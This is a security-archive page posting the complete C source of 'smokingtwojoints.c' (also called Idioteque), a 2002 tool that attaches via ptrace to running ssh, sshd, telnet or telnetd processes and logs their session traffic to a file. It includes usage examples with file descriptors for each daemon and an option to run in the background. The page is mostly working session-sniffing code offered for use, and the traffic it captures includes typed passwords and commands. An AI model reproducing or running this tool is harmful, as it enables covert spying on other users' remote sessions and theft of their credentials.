never stop questioning

smokingtwojoints.c

smokingtwojoints.c
Posted Aug 28, 2002
Authored by Michele Dallachiesa

Smokingtwojoints.c logs the contents of inbound and outbound telnet and ssh sessions via ptrace. Takes as input a PID or fd to be watched.

systems | unix
MD5 | 0661f4e3479c89577f16fe9ab239c14f

smokingtwojoints.c

Change Mirror Download
/*
*
* $Id: smokingtwojoints.c,v 0.2.public 2002/08/18 1:08:06 xenion Exp $
*
* ---------------------------------------------------------------------------
* No part of this project may be used to break the law, or to cause damage of
* any kind. And I'm not responsible for anything you do with it.
* ---------------------------------------------------------------------------
* "THE BEER-WARE LICENSE" (by Poul-Henning Kamp, Revision 42):
* <xenion@acidlife.com> wrote this file. As long as you retain this notice
* you can do whatever you want with this stuff. If we meet some day, and you
* think this stuff is worth it, you can buy me a beer in return.
* xenion ~ Dallachiesa Michele
* ---------------------------------------------------------------------------
*/

/*
you can log ssh/telnet sessions (and sshd/telnetd childs..) using ptrace(2)

examples (try to change fd(s) if they won't work!):

ssh: ./idioteque -p PID -d 5
sshd: ./idioteque -p PID -d 7
in.telnetd: ./idioteque -p PID -d 0
telnet: ./idioteque -p PID -d 1

greetz: darkangel
*/


#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <linux/user.h>
#include <signal.h>
#include <asm/unistd.h>
#include <dirent.h>
#include <errno.h>
#include <limits.h>
#include <time.h>
#include <sys/types.h>
#include <sys/stat.h>

#define VERSION "0.2.public"

void fatal(char *, ...);
void init_opt(int, char **);
void help();
void sigdie(int);
void *ttmemcpy(pid_t, unsigned char *, unsigned char *, size_t);
size_t getmytime(char *, size_t, const char *);
void printstatus(const char *format, ...);
int *get_coma_options(unsigned char *);
int pidexists(pid_t);

typedef struct {
pid_t pid;
int status,
mode,
*fds;
int background;
FILE *lfile;
FILE *sfile;
} OPT;

OPT o;


int
main(int argc, char **argv)
{
struct user_regs_struct data;
unsigned char buf[4096];
int i;

init_opt(argc, argv);

if (o.background)
if (fork())
exit(0);

printstatus("pid : %d %s\n", getpid(),
o.background ? "(Running in background)" : "");
printstatus("ptraced pid : %d\n", o.pid);
printstatus("fds :%s", o.fds ? "" : " ALL");
if (o.fds)
for (i = 1; i < *o.fds; ++i)
fprintf(o.sfile, " %d", *(o.fds + i));
fprintf(o.sfile, "\n");
printstatus("\n");
fflush(o.sfile);

signal(SIGTERM, sigdie);
signal(SIGINT, sigdie);
signal(SIGQUIT, sigdie);
signal(SIGHUP, sigdie);
signal(SIGSEGV, sigdie);
signal(SIGURG, SIG_IGN);

if (ptrace(PTRACE_ATTACH, o.pid, 0, 0) < 0) {
o.pid = 0;
fatal("PTRACE_ATTACH failed");
}

o.mode = 1;
printstatus("Listening..\n\n");

while (1) {

if (ptrace(PTRACE_SYSCALL, o.pid, 0, 0) < 0)
fatal("PTRACE_SYSCALL failed");

wait(&o.status);

if (WSTOPSIG(o.status) != SIGTRAP) {
printstatus("Sending signal %d\n", WSTOPSIG(o.status));
ptrace(PTRACE_SYSCALL, o.pid, 0, WSTOPSIG(o.status));
}

switch (o.mode) {

case 1:
o.mode = 2;
// if (ptrace(PTRACE_GETREGS, o.pid, &data, &data) < 0)
// fatal("PTRACE_GETREGS failed");

// printf("started:\n");
// printf("eax: %8lx orig_eax: %8lx\n", data.eax,
// data.orig_eax);
// printf("ebx: %8lx ecx: %8lx\n", data.ebx, data.ecx);
// printf("edx: %8lx\n\n", data.edx);

break;

case 2:
if (ptrace(PTRACE_GETREGS, o.pid, &data, &data) < 0)
fatal("PTRACE_GETREGS failed");

// printf("returned:\n");
// printf("eax: %8lx orig_eax: %8lx\n", data.eax,
// data.orig_eax);
// printf("ebx: %8lx ecx: %8lx\n", data.ebx, data.ecx);
// printf("edx: %8lx\n\n", data.edx);

if (o.fds) {
for (i = 1; i < *o.fds; ++i)
if (*(o.fds + i) == data.ebx)
o.mode = 3;
} else
o.mode = 3;

memset(buf, '\0', sizeof buf);

if ((data.orig_eax == __NR_read || data.orig_eax == __NR_write)
&& o.mode == 3 && data.eax > 0) {
if (ttmemcpy
(o.pid, buf, (unsigned char *) data.ecx,
data.eax) == NULL)
fatal("ttmemcpy()");
buf[data.eax] = '\0';
fprintf(o.lfile, "%s", buf);
fflush(o.lfile);
}

o.mode = 1;
break;

default:
fatal("Oops");
break;
}

}

return 0;
}


void
init_opt(int argc, char **argv)
{
int c;

o.pid = 0;
o.fds = NULL;
o.background = 0;
o.sfile = o.lfile = stdout;

while ((c = getopt(argc, argv, "p:d:s:l:bh")) != EOF)
switch (c) {

case 'p':
if ((o.pid = atoi(optarg)) == 0)
fatal("Invalid process id");
if (!pidexists(o.pid)) {
o.pid = 0;
fatal("No such process");
}

break;

case 'd':
o.fds = get_coma_options(optarg);
break;

case 's':
o.sfile = fopen(optarg, "w");
if (o.sfile == NULL) {
o.sfile = stdout;
fatal("unable to open status file");
}
break;

case 'l':
o.lfile = fopen(optarg, "w");
if (o.lfile == NULL)
fatal("unable to open log file");
break;

case 'b':
o.background = 1;
break;

case 'h':
help();
break;

default:
fatal("try -h");
}

if (o.pid == 0)
fatal("pid needed");
}


void
fatal(char *pattern, ...)
{

char timebuf[20];
va_list ap;

va_start(ap, pattern);
getmytime(timebuf, 20, "%d/%m/%y#%H:%M:%S");
fprintf(o.sfile, "%s ", timebuf);
vfprintf(o.sfile, pattern, ap);
fprintf(o.sfile, "; exit forced.\n");
va_end(ap);

if (o.fds)
free(o.fds);
if (o.pid == 0)
exit(0);

sigdie(SIGTERM);
}


int *
get_coma_options(unsigned char *s)
{
unsigned char *p,
*e;
int *arr;
int c;

arr = malloc(sizeof(int)); // no. of entries

for (p = s, *arr = 1; *p; ++*arr) {
if ((e = index(p, (int) ',')) == NULL)
e = index(p, (int) '\0');
c = *e;
*e = '\0';
realloc(arr, *arr * sizeof(int) + 1);
*(arr + *arr) = atoi(p);
*e = c;

if (*arr == INT_MAX)
break;
p = c ? ++e : e;
}
return arr;
}


void
help()
{
printf("Idioteque v%s\n\n", VERSION);
printf("USAGE: idioteque [options]\n\n");
printf("-p pid pid to be traced\n");
printf("-d fd1,fd2,fd3,.. fd(s) to be logged\n");
printf("-b Run in background\n");
printf("-s Status file\n");
printf("-l fd(s) log file\n");
printf("\n");

exit(0);
}


void
sigdie(int signo)
{
int pid;

if (o.sfile == o.lfile && o.pid > 0)
fprintf(o.sfile, "\n");

switch (signo) {
case SIGURG:
printstatus("caught SIGURG signal, cleaning up\n");
break;
case SIGPIPE:
printstatus("caught SIGPIPE signal, cleaning up\n");
break;
case SIGQUIT:
printstatus("caught SIGQUIT signal, cleaning up\n");
break;
case SIGINT:
printstatus("caught SIGINT signal, cleaning up\n");
break;
case SIGTERM:
printstatus("caught SIGTERM signal, cleaning up\n");
break;
case SIGHUP:
printstatus("caught SIGHUP signal, cleaning up\n");
break;
case SIGSEGV:
printstatus("caught SIGSEGV signal, cleaning up\n");
break;
case SIGBUS:
printstatus("caught SIGBUS signal, cleaning up\n");
break;
default:
printstatus("caught signal %d, cleaning up\n", signo);
break;
}

if (o.pid != 0) {

switch (pid = fork()) {

case -1:
fatal("fork()");
break;

case 0: /* child process starts */
printstatus
("sending a SIGCONT signal to the ptraced process\n");
if (kill(o.pid, SIGCONT) < 0) {
o.pid = 0;
fatal("kill()");
}
break;

default: /* parent process starts */
wait(&o.status);
if (ptrace(PTRACE_DETACH, o.pid, 0, 0) < 0)
printstatus("PTRACE_DETACH failed\n", o.pid);
printstatus("exited: %s\n", strerror(errno));
break;

}

}

exit(0);

}


void *
ttmemcpy(pid_t pid, unsigned char *dest, unsigned char *src, size_t count)
{
size_t off;
long int res;

for (off = 0; off < count; off += sizeof(long int)) {
res = ptrace(PTRACE_PEEKTEXT, pid, src + off, 0);
if (errno > 0)
return NULL;
else {
memcpy(dest + off, &res, sizeof(long int));
// printf("[%c][%c]", *(dest + off), *(dest + off + 1));
// printf("[%c][%c]\n", *(dest + off + 2), *(dest + off + 3));
}
}

return dest;
}


void
printstatus(const char *format, ...)
{

char timebuf[20];

va_list ap;
va_start(ap, format);

getmytime(timebuf, 20, "%d/%m/%y#%H:%M:%S");

fprintf(o.sfile, "%s ", timebuf);
vfprintf(o.sfile, format, ap);
fflush(o.sfile);

va_end(ap);

}


size_t
getmytime(char *s, size_t max, const char *format)
{

time_t t;
struct tm *mytm;
size_t z;

time(&t);

mytm = localtime(&t);

z = strftime(s, max, format, mytm);

return (z);

}


int
pidexists(pid_t pid)
{
struct stat buf;
char path[12];

sprintf(path, "/proc/%d", pid);

if (stat(path, &buf) < 0)
return 0;
return 1;

}

/*
* this is the place for a little EOF
*/

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close